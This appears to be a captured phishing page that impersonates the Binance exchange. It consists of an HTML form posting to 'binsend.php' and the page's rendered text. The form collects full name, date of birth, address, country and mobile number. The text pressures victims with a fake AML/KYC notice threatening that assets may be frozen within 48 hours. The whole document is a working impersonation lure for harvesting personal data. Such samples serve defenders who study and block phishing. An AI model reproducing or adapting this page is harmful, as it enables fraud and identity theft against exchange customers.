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POST binsend.php

<form action="binsend.php" method="POST">
  <div class="bn-textField">
    <input type="text" name="first_name" class="bn-textField-input" placeholder="First Name" required="">
  </div>
  <div class="bn-textField">
    <input type="text" name="last_name" class="bn-textField-input" placeholder="Last Name" required="">
  </div>
  <div class="bn-textField">
    <input type="date" name="dob" class="bn-textField-input" required="">
  </div>
  <div class="bn-textField">
    <input type="text" name="address" class="bn-textField-input" placeholder="Address" required="">
  </div>
  <div class="bn-textField">
    <input type="text" name="postcode" class="bn-textField-input" placeholder="Postcode" required="">
  </div>
  <div class="bn-textField">
    <input type="text" name="city" class="bn-textField-input" placeholder="City" required="">
  </div>
  <div class="bn-textField">
    <select name="country" class="bn-textField-input" required="">
      <option value="" disabled="" selected="">Select your country</option>
      <option value="AF" data-flag="🇦🇫">Afghanistan</option>
      <option value="AL" data-flag="🇦🇱">Albania</option>
      <option value="DZ" data-flag="🇩🇿">Algeria</option>
      <option value="AS" data-flag="🇦🇸">American Samoa</option>
      <option value="AD" data-flag="🇦🇩">Andorra</option>
      <option value="AO" data-flag="🇦🇴">Angola</option>
      <option value="AI" data-flag="🇦🇮">Anguilla</option>
      <option value="AG" data-flag="🇦🇬">Antigua and Barbuda</option>
      <option value="AR" data-flag="🇦🇷">Argentina</option>
      <option value="AM" data-flag="🇦🇲">Armenia</option>
      <option value="AW" data-flag="🇦🇼">Aruba</option>
      <option value="AU" data-flag="🇦🇺">Australia</option>
      <option value="AT" data-flag="🇦🇹">Austria</option>
      <option value="AZ" data-flag="🇦🇿">Azerbaijan</option>
      <option value="BS" data-flag="🇧🇸">Bahamas</option>
      <option value="BH" data-flag="🇧🇭">Bahrain</option>
      <option value="BD" data-flag="🇧🇩">Bangladesh</option>
      <option value="BB" data-flag="🇧🇧">Barbados</option>
      <option value="BY" data-flag="🇧🇾">Belarus</option>
      <option value="BE" data-flag="🇧🇪">Belgium</option>
      <option value="BZ" data-flag="🇧🇿">Belize</option>
      <option value="BJ" data-flag="🇧🇯">Benin</option>
      <option value="BT" data-flag="🇧🇹">Bhutan</option>
      <option value="BO" data-flag="🇧🇴">Bolivia</option>
      <option value="BA" data-flag="🇧🇦">Bosnia and Herzegovina</option>
      <option value="BW" data-flag="🇧🇼">Botswana</option>
      <option value="BR" data-flag="🇧🇷">Brazil</option>
      <option value="BN" data-flag="🇧🇳">Brunei Darussalam</option>
      <option value="BG" data-flag="🇧🇬">Bulgaria</option>
      <option value="BF" data-flag="🇧🇫">Burkina Faso</option>
      <option value="BI" data-flag="🇧🇮">Burundi</option>
      <option value="KH" data-flag="🇰🇭">Cambodia</option>
      <option value="CM" data-flag="🇨🇲">Cameroon</option>
      <option value="CA" data-flag="🇨🇦">Canada</option>
      <option value="CV" data-flag="🇨🇻">Cape Verde</option>
      <option value="KY" data-flag="🇰🇾">Cayman Islands</option>
      <option value="CF" data-flag="🇨🇫">Central African Republic</option>
      <option value="TD" data-flag="🇹🇩">Chad</option>
      <option value="CL" data-flag="🇨🇱">Chile</option>
      <option value="CN" data-flag="🇨🇳">China</option>
      <option value="CO" data-flag="🇨🇴">Colombia</option>
      <option value="KM" data-flag="🇰🇲">Comoros</option>
      <option value="CG" data-flag="🇨🇬">Congo</option>
      <option value="CD" data-flag="🇨🇩">Democratic Republic of the Congo</option>
      <option value="CR" data-flag="🇨🇷">Costa Rica</option>
      <option value="CI" data-flag="🇨🇮">Côte d'Ivoire</option>
      <option value="HR" data-flag="🇭🇷">Croatia</option>
      <option value="CU" data-flag="🇨🇺">Cuba</option>
      <option value="CY" data-flag="🇨🇾">Cyprus</option>
      <option value="CZ" data-flag="🇨🇿">Czech Republic</option>
      <option value="DK" data-flag="🇩🇰">Denmark</option>
      <option value="DJ" data-flag="🇩🇯">Djibouti</option>
      <option value="DM" data-flag="🇩🇲">Dominica</option>
      <option value="DO" data-flag="🇩🇴">Dominican Republic</option>
      <option value="EC" data-flag="🇪🇨">Ecuador</option>
      <option value="EG" data-flag="🇪🇬">Egypt</option>
      <option value="SV" data-flag="🇸🇻">El Salvador</option>
      <option value="GQ" data-flag="🇬🇶">Equatorial Guinea</option>
      <option value="ER" data-flag="🇪🇷">Eritrea</option>
      <option value="EE" data-flag="🇪🇪">Estonia</option>
      <option value="SZ" data-flag="🇸🇿">Eswatini</option>
      <option value="ET" data-flag="🇪🇹">Ethiopia</option>
      <option value="FJ" data-flag="🇫🇯">Fiji</option>
      <option value="FI" data-flag="🇫🇮">Finland</option>
      <option value="FR" data-flag="🇫🇷">France</option>
      <option value="GA" data-flag="🇬🇦">Gabon</option>
      <option value="GM" data-flag="🇬🇲">Gambia</option>
      <option value="GE" data-flag="🇬🇪">Georgia</option>
      <option value="DE" data-flag="🇩🇪">Germany</option>
      <option value="GH" data-flag="🇬🇭">Ghana</option>
      <option value="GR" data-flag="🇬🇷">Greece</option>
      <option value="GD" data-flag="🇬🇩">Grenada</option>
      <option value="GT" data-flag="🇬🇹">Guatemala</option>
      <option value="GN" data-flag="🇬🇳">Guinea</option>
      <option value="GW" data-flag="🇬🇼">Guinea-Bissau</option>
      <option value="GY" data-flag="🇬🇾">Guyana</option>
      <option value="HT" data-flag="🇭🇹">Haiti</option>
      <option value="HN" data-flag="🇭🇳">Honduras</option>
      <option value="HK" data-flag="🇭🇰">Hong Kong</option>
      <option value="HU" data-flag="🇭🇺">Hungary</option>
      <option value="IS" data-flag="🇮🇸">Iceland</option>
      <option value="IN" data-flag="🇮🇳">India</option>
      <option value="ID" data-flag="🇮🇩">Indonesia</option>
      <option value="IR" data-flag="🇮🇷">Iran</option>
      <option value="IQ" data-flag="🇮🇶">Iraq</option>
      <option value="IE" data-flag="🇮🇪">Ireland</option>
      <option value="IL" data-flag="🇮🇱">Israel</option>
      <option value="IT" data-flag="🇮🇹">Italy</option>
      <option value="JM" data-flag="🇯🇲">Jamaica</option>
      <option value="JP" data-flag="🇯🇵">Japan</option>
      <option value="JO" data-flag="🇯🇴">Jordan</option>
      <option value="KZ" data-flag="🇰🇿">Kazakhstan</option>
      <option value="KE" data-flag="🇰🇪">Kenya</option>
      <option value="KI" data-flag="🇰🇮">Kiribati</option>
      <option value="KW" data-flag="🇰🇼">Kuwait</option>
      <option value="KG" data-flag="🇰🇬">Kyrgyzstan</option>
      <option value="LA" data-flag="🇱🇦">Laos</option>
      <option value="LV" data-flag="🇱🇻">Latvia</option>
      <option value="LB" data-flag="🇱🇧">Lebanon</option>
      <option value="LS" data-flag="🇱🇸">Lesotho</option>
      <option value="LR" data-flag="🇱🇷">Liberia</option>
      <option value="LY" data-flag="🇱🇾">Libya</option>
      <option value="LI" data-flag="🇱🇮">Liechtenstein</option>
      <option value="LT" data-flag="🇱🇹">Lithuania</option>
      <option value="LU" data-flag="🇱🇺">Luxembourg</option>
      <option value="MO" data-flag="🇲🇴">Macao</option>
      <option value="MK" data-flag="🇲🇰">North Macedonia</option>
      <option value="MG" data-flag="🇲🇬">Madagascar</option>
      <option value="MW" data-flag="🇲🇼">Malawi</option>
      <option value="MY" data-flag="🇲🇾">Malaysia</option>
      <option value="MV" data-flag="🇲🇻">Maldives</option>
      <option value="ML" data-flag="🇲🇱">Mali</option>
      <option value="MT" data-flag="🇲🇹">Malta</option>
      <option value="MH" data-flag="🇲🇭">Marshall Islands</option>
      <option value="MQ" data-flag="🇲🇶">Martinique</option>
      <option value="MR" data-flag="🇲🇷">Mauritania</option>
      <option value="MU" data-flag="🇲🇺">Mauritius</option>
      <option value="YT" data-flag="🇾🇹">Mayotte</option>
      <option value="MX" data-flag="🇲🇽">Mexico</option>
      <option value="FM" data-flag="🇫🇲">Micronesia</option>
      <option value="MD" data-flag="🇲🇩">Moldova</option>
      <option value="MC" data-flag="🇲🇨">Monaco</option>
      <option value="MN" data-flag="🇲🇳">Mongolia</option>
      <option value="ME" data-flag="🇲🇪">Montenegro</option>
      <option value="MS" data-flag="🇲🇸">Montserrat</option>
      <option value="MA" data-flag="🇲🇦">Morocco</option>
      <option value="MZ" data-flag="🇲🇿">Mozambique</option>
      <option value="MM" data-flag="🇲🇲">Myanmar</option>
      <option value="NA" data-flag="🇳🇦">Namibia</option>
      <option value="NR" data-flag="🇳🇷">Nauru</option>
      <option value="NP" data-flag="🇳🇵">Nepal</option>
      <option value="NL" data-flag="🇳🇱">Netherlands</option>
      <option value="NC" data-flag="🇳🇨">New Caledonia</option>
      <option value="NZ" data-flag="🇳🇿">New Zealand</option>
      <option value="NI" data-flag="🇳🇮">Nicaragua</option>
      <option value="NE" data-flag="🇳🇪">Niger</option>
      <option value="NG" data-flag="🇳🇬">Nigeria</option>
      <option value="NU" data-flag="🇳🇺">Niue</option>
      <option value="NF" data-flag="🇳🇫">Norfolk Island</option>
      <option value="KP" data-flag="🇰🇵">North Korea</option>
      <option value="NO" data-flag="🇳🇴">Norway</option>
      <option value="OM" data-flag="🇴🇲">Oman</option>
      <option value="PK" data-flag="🇵🇰">Pakistan</option>
      <option value="PW" data-flag="🇵🇼">Palau</option>
      <option value="PS" data-flag="🇵🇸">Palestinian Territories</option>
      <option value="PA" data-flag="🇵🇦">Panama</option>
      <option value="PG" data-flag="🇵🇬">Papua New Guinea</option>
      <option value="PY" data-flag="🇵🇾">Paraguay</option>
      <option value="PE" data-flag="🇵🇪">Peru</option>
      <option value="PH" data-flag="🇵🇭">Philippines</option>
      <option value="PN" data-flag="🇵🇳">Pitcairn Islands</option>
      <option value="PL" data-flag="🇵🇱">Poland</option>
      <option value="PT" data-flag="🇵🇹">Portugal</option>
      <option value="PR" data-flag="🇵🇷">Puerto Rico</option>
      <option value="QA" data-flag="🇶🇦">Qatar</option>
      <option value="RO" data-flag="🇷🇴">Romania</option>
      <option value="RU" data-flag="🇷🇺">Russia</option>
      <option value="RW" data-flag="🇷🇼">Rwanda</option>
      <option value="RE" data-flag="🇷🇪">Réunion</option>
      <option value="BL" data-flag="🇧🇱">Saint Barthélemy</option>
      <option value="SH" data-flag="🇸🇭">Saint Helena</option>
      <option value="KN" data-flag="🇰🇳">Saint Kitts and Nevis</option>
      <option value="LC" data-flag="🇱🇨">Saint Lucia</option>
      <option value="MF" data-flag="🇲🇫">Saint Martin</option>
      <option value="PM" data-flag="🇵🇲">Saint Pierre and Miquelon</option>
      <option value="VC" data-flag="🇻🇨">Saint Vincent and the Grenadines</option>
      <option value="WS" data-flag="🇼🇸">Samoa</option>
      <option value="SM" data-flag="🇸🇲">San Marino</option>
      <option value="ST" data-flag="🇸🇹">São Tomé and Príncipe</option>
      <option value="SA" data-flag="🇸🇦">Saudi Arabia</option>
      <option value="SN" data-flag="🇸🇳">Senegal</option>
      <option value="RS" data-flag="🇷🇸">Serbia</option>
      <option value="SC" data-flag="🇸🇨">Seychelles</option>
      <option value="SL" data-flag="🇸🇱">Sierra Leone</option>
      <option value="SG" data-flag="🇸🇬">Singapore</option>
      <option value="SX" data-flag="🇸🇽">Sint Maarten</option>
      <option value="SK" data-flag="🇸🇰">Slovakia</option>
      <option value="SI" data-flag="🇸🇮">Slovenia</option>
      <option value="SB" data-flag="🇸🇧">Solomon Islands</option>
      <option value="SO" data-flag="🇸🇴">Somalia</option>
      <option value="ZA" data-flag="🇿🇦">South Africa</option>
      <option value="GS" data-flag="🇬🇸">South Georgia and the South Sandwich Islands</option>
      <option value="KR" data-flag="🇰🇷">South Korea</option>
      <option value="SS" data-flag="🇸🇸">South Sudan</option>
      <option value="ES" data-flag="🇪🇸">Spain</option>
      <option value="LK" data-flag="🇱🇰">Sri Lanka</option>
      <option value="SD" data-flag="🇸🇩">Sudan</option>
      <option value="SR" data-flag="🇸🇷">Suriname</option>
      <option value="SJ" data-flag="🇯🇴">Svalbard</option>
      <option value="SE" data-flag="🇸🇪">Sweden</option>
      <option value="CH" data-flag="🇨🇭">Switzerland</option>
      <option value="SY" data-flag="🇸🇾">Syria</option>
      <option value="TW" data-flag="🇹🇼">Taiwan</option>
      <option value="TJ" data-flag="🇹🇯">Tajikistan</option>
      <option value="TZ" data-flag="🇹🇿">Tanzania</option>
      <option value="TH" data-flag="🇹🇭">Thailand</option>
      <option value="TL" data-flag="🇹🇱">Timor-Leste</option>
      <option value="TG" data-flag="🇹🇬">Togo</option>
      <option value="TK" data-flag="🇹🇰">Tokelau</option>
      <option value="TO" data-flag="🇹🇴">Tonga</option>
      <option value="TT" data-flag="🇹🇹">Trinidad and Tobago</option>
      <option value="TN" data-flag="🇹🇳">Tunisia</option>
      <option value="TR" data-flag="🇹🇷">Turkey</option>
      <option value="TM" data-flag="🇹🇲">Turkmenistan</option>
      <option value="TC" data-flag="🇹🇨">Turks and Caicos Islands</option>
      <option value="TV" data-flag="🇹🇻">Tuvalu</option>
      <option value="UG" data-flag="🇺🇬">Uganda</option>
      <option value="UA" data-flag="🇺🇦">Ukraine</option>
      <option value="AE" data-flag="🇦🇪">United Arab Emirates</option>
      <option value="GB" data-flag="🇬🇧">United Kingdom</option>
      <option value="US" data-flag="🇺🇸">United States</option>
      <option value="UY" data-flag="🇺🇾">Uruguay</option>
      <option value="UZ" data-flag="🇺🇿">Uzbekistan</option>
      <option value="VU" data-flag="🇻🇺">Vanuatu</option>
      <option value="VA" data-flag="🇻🇦">Vatican City</option>
      <option value="VE" data-flag="🇻🇪">Venezuela</option>
      <option value="VN" data-flag="🇻🇳">Vietnam</option>
      <option value="WF" data-flag="🇼🇫">Wallis and Futuna</option>
      <option value="YE" data-flag="🇾🇪">Yemen</option>
      <option value="ZM" data-flag="🇿🇲">Zambia</option>
      <option value="ZW" data-flag="🇿🇼">Zimbabwe</option>
    </select>
  </div>
  <div class="bn-textField">
    <input type="text" name="mobile_number" class="bn-textField-input" placeholder="Mobile Number" required="">
  </div>
  <div class="form-group">
    <label>Yearly Trading Volume:</label>
    <label>
      <input type="radio" name="yearly_amount" value="0-10K" required=""> 0-10K </label>
    <label>
      <input type="radio" name="yearly_amount" value="10K-25K"> 10K-25K </label>
    <label>
      <input type="radio" name="yearly_amount" value="25K-50K"> 25K-50K </label>
  </div>
  <button type="submit" class="form-button">Submit</button>
</form>

Text Content

[PHP code without for BLOCKED] Binance - Cryptocurrency Exchange for Bitcoin,
Ethereum & Altcoins







Your verification is complete...

Important Notice Your KYC details need to be updated to comply with Anti-Money
Laundering (AML) regulations. Please fill out all fields correctly within 48
hours. If incomplete or incorrect, your assets may be frozen.

Select your country Afghanistan Albania Algeria American Samoa Andorra Angola
Anguilla Antigua and Barbuda Argentina Armenia Aruba Australia Austria
Azerbaijan Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin
Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Darussalam Bulgaria
Burkina Faso Burundi Cambodia Cameroon Canada Cape Verde Cayman Islands Central
African Republic Chad Chile China Colombia Comoros Congo Democratic Republic of
the Congo Costa Rica Côte d'Ivoire Croatia Cuba Cyprus Czech Republic Denmark
Djibouti Dominica Dominican Republic Ecuador Egypt El Salvador Equatorial Guinea
Eritrea Estonia Eswatini Ethiopia Fiji Finland France Gabon Gambia Georgia
Germany Ghana Greece Grenada Guatemala Guinea Guinea-Bissau Guyana Haiti
Honduras Hong Kong Hungary Iceland India Indonesia Iran Iraq Ireland Israel
Italy Jamaica Japan Jordan Kazakhstan Kenya Kiribati Kuwait Kyrgyzstan Laos
Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg Macao
North Macedonia Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands
Martinique Mauritania Mauritius Mayotte Mexico Micronesia Moldova Monaco
Mongolia Montenegro Montserrat Morocco Mozambique Myanmar Namibia Nauru Nepal
Netherlands New Caledonia New Zealand Nicaragua Niger Nigeria Niue Norfolk
Island North Korea Norway Oman Pakistan Palau Palestinian Territories Panama
Papua New Guinea Paraguay Peru Philippines Pitcairn Islands Poland Portugal
Puerto Rico Qatar Romania Russia Rwanda Réunion Saint Barthélemy Saint Helena
Saint Kitts and Nevis Saint Lucia Saint Martin Saint Pierre and Miquelon Saint
Vincent and the Grenadines Samoa San Marino São Tomé and Príncipe Saudi Arabia
Senegal Serbia Seychelles Sierra Leone Singapore Sint Maarten Slovakia Slovenia
Solomon Islands Somalia South Africa South Georgia and the South Sandwich
Islands South Korea South Sudan Spain Sri Lanka Sudan Suriname Svalbard Sweden
Switzerland Syria Taiwan Tajikistan Tanzania Thailand Timor-Leste Togo Tokelau
Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Turks and Caicos Islands
Tuvalu Uganda Ukraine United Arab Emirates United Kingdom United States Uruguay
Uzbekistan Vanuatu Vatican City Venezuela Vietnam Wallis and Futuna Yemen Zambia
Zimbabwe

Yearly Trading Volume: 0-10K 10K-25K 25K-50K
Submit